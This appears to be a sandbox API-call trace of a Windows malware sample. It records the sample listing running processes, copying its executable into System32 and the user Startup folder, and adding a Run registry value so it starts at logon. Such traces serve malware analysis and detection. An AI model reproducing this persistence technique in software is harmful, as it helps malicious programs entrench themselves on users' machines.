	[0186.890] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0186.890] lstrlenW (lpString="audiodg.exe") returned 11
	[0186.890] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0186.891] lstrlenW (lpString="Memory Compression") returned 18
	[0186.891] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0186.891] lstrlenW (lpString="taskhostw.exe") returned 13
	[0186.891] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0186.891] lstrlenW (lpString="sihost.exe") returned 10
	[0186.891] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0186.892] lstrlenW (lpString="svchost.exe") returned 11
	[0186.892] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0186.892] lstrlenW (lpString="taskhostw.exe") returned 13
	[0186.892] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0186.893] lstrlenW (lpString="explorer.exe") returned 12
	[0186.893] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0186.893] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0186.893] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0186.894] lstrlenW (lpString="SearchUI.exe") returned 12
	[0186.894] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0186.894] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0186.894] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0186.894] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0186.894] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0186.895] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0186.895] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0186.895] lstrlenW (lpString="dllhost.exe") returned 11
	[0186.895] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0186.896] lstrlenW (lpString="dllhost.exe") returned 11
	[0186.896] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0186.896] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0186.896] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0
	[0186.896] CloseHandle (hObject=0x240) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x767910 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7675f8 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7668f8 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x766798 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x766b18 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x792f60 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7666b8 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x766758 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d828 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78db98 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x766638 | out: hHeap=0x750000) returned 1
	[0186.897] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78db48 | out: hHeap=0x750000) returned 1
	[0186.897] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x794d28
	[0186.897] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7a4d30
	[0186.898] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f78
	[0186.898] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f78, Size=0x20) returned 0x78d9b8
	[0186.898] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78d9b8, Size=0x40) returned 0x7675f8
	[0186.898] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.898] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78d9b8
	[0186.898] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f60
	[0186.898] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f60, Size=0x20) returned 0x78d918
	[0186.898] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f60
	[0186.898] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f60, Size=0x20) returned 0x78dc60
	[0186.898] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78dc60, Size=0x40) returned 0x767b98
	[0186.898] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7a4d30, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0x77
	[0186.898] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7b4d38
	[0186.898] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7c4d40
	[0186.899] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.899] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78dcd8
	[0186.899] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78dcd8, Size=0x40) returned 0x767ac0
	[0186.899] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767ac0, Size=0x80) returned 0x793568
	[0186.899] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x793568, Size=0x100) returned 0x793568
	[0186.899] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0186.899] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793568 | out: hHeap=0x750000) returned 1
	[0186.899] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x7b4d38, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x4f
	[0186.899] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7c4d40 | out: hHeap=0x750000) returned 1
	[0186.899] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b4d38 | out: hHeap=0x750000) returned 1
	[0186.900] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x243e020
	[0186.903] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f60
	[0186.903] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f60, Size=0x20) returned 0x78dad0
	[0186.903] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.903] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78da58
	[0186.903] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0186.903] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0186.903] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0186.903] lstrlenW (lpString="kernel32.dll") returned 12
	[0186.903] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dad0 | out: hHeap=0x750000) returned 1
	[0186.903] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0186.903] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78da58 | out: hHeap=0x750000) returned 1
	[0186.903] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0186.904] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0186.904] ReadFile (in: hFile=0x240, lpBuffer=0x243e020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243e020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0186.915] WriteFile (in: hFile=0x244, lpBuffer=0x243e020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243e020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0186.954] ReadFile (in: hFile=0x240, lpBuffer=0x243e020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243e020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0186.954] CloseHandle (hObject=0x244) returned 1
	[0186.954] CloseHandle (hObject=0x240) returned 1
	[0186.954] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.955] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78da58
	[0186.955] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.955] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78dbe8
	[0186.955] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0186.955] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0186.955] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0186.955] lstrlenW (lpString="kernel32.dll") returned 12
	[0186.955] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dbe8 | out: hHeap=0x750000) returned 1
	[0186.955] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0186.955] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78da58 | out: hHeap=0x750000) returned 1
	[0186.955] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x243e020 | out: hHeap=0x750000) returned 1
	[0186.960] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.960] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78d8c8
	[0186.960] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78d8c8, Size=0x40) returned 0x767910
	[0186.960] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767910, Size=0x80) returned 0x7b4e70
	[0186.960] lstrlenW (lpString="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 78
	[0186.960] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0186.960] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x5c) returned 0x7939e8
	[0186.960] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0186.961] RegSetValueExW (in: hKey=0x240, lpValueName="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", cbData=0x9c | out: lpData="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x0
	[0186.961] RegCloseKey (hKey=0x240) returned 0x0
	[0186.962] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7939e8 | out: hHeap=0x750000) returned 1
	[0186.962] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0186.962] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b4e70 | out: hHeap=0x750000) returned 1
	[0186.962] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7b5d40
	[0186.962] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7c5d48
	[0186.962] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.962] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78d9e0
	[0186.962] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78d9e0, Size=0x40) returned 0x767be0
	[0186.962] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767be0, Size=0x80) returned 0x7b5558
	[0186.962] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b5558, Size=0x100) returned 0x793568
	[0186.962] lstrlenW (lpString="") returned 0
	[0186.962] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0186.962] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8c) returned 0x793670
	[0186.962] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0
	[0186.962] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7c5d48, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x7c5d48*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0186.962] RegCloseKey (hKey=0x240) returned 0x0
	[0186.962] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793670 | out: hHeap=0x750000) returned 1
	[0186.962] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0186.962] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8c) returned 0x793670
	[0186.962] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0186.963] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7c5d48, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0186.963] RegCloseKey (hKey=0x244) returned 0x0
	[0186.963] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793670 | out: hHeap=0x750000) returned 1
	[0186.963] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0186.963] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0186.963] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793568 | out: hHeap=0x750000) returned 1
	[0186.963] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x7b5d40, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x89
	[0186.964] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7c5d48 | out: hHeap=0x750000) returned 1
	[0186.964] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b5d40 | out: hHeap=0x750000) returned 1
	[0186.965] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x2438020
	[0186.967] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.967] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78db48
	[0186.967] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.967] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78d9e0
	[0186.968] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0186.968] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0186.968] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0186.968] lstrlenW (lpString="kernel32.dll") returned 12
	[0186.968] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78db48 | out: hHeap=0x750000) returned 1
	[0186.968] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0186.968] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d9e0 | out: hHeap=0x750000) returned 1
	[0186.968] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0186.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0186.969] ReadFile (in: hFile=0x244, lpBuffer=0x2438020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2438020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0186.985] WriteFile (in: hFile=0x248, lpBuffer=0x2438020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2438020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0186.988] ReadFile (in: hFile=0x244, lpBuffer=0x2438020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2438020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0186.988] CloseHandle (hObject=0x248) returned 1
	[0186.988] CloseHandle (hObject=0x244) returned 1
	[0186.988] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.988] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78d9e0
	[0186.988] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f78
	[0186.988] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f78, Size=0x20) returned 0x78dc10
	[0186.988] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0186.988] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0186.988] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0186.988] lstrlenW (lpString="kernel32.dll") returned 12
	[0186.988] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dc10 | out: hHeap=0x750000) returned 1
	[0186.988] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0186.988] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d9e0 | out: hHeap=0x750000) returned 1
	[0186.988] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x2438020 | out: hHeap=0x750000) returned 1
	[0186.993] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7b5d40
	[0186.994] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7c5d48
	[0186.994] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f30
	[0186.994] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78dc10
	[0186.994] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78dc10, Size=0x40) returned 0x767640
	[0186.994] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767640, Size=0x80) returned 0x7b4ef8
	[0186.994] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b4ef8, Size=0x100) returned 0x793568
	[0186.994] lstrlenW (lpString="") returned 0
	[0186.994] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0186.994] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8c) returned 0x793670
	[0186.994] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0186.994] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7c5d48, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0186.994] RegCloseKey (hKey=0x244) returned 0x0
	[0186.994] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793670 | out: hHeap=0x750000) returned 1
	[0186.994] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0186.994] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0186.994] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793568 | out: hHeap=0x750000) returned 1
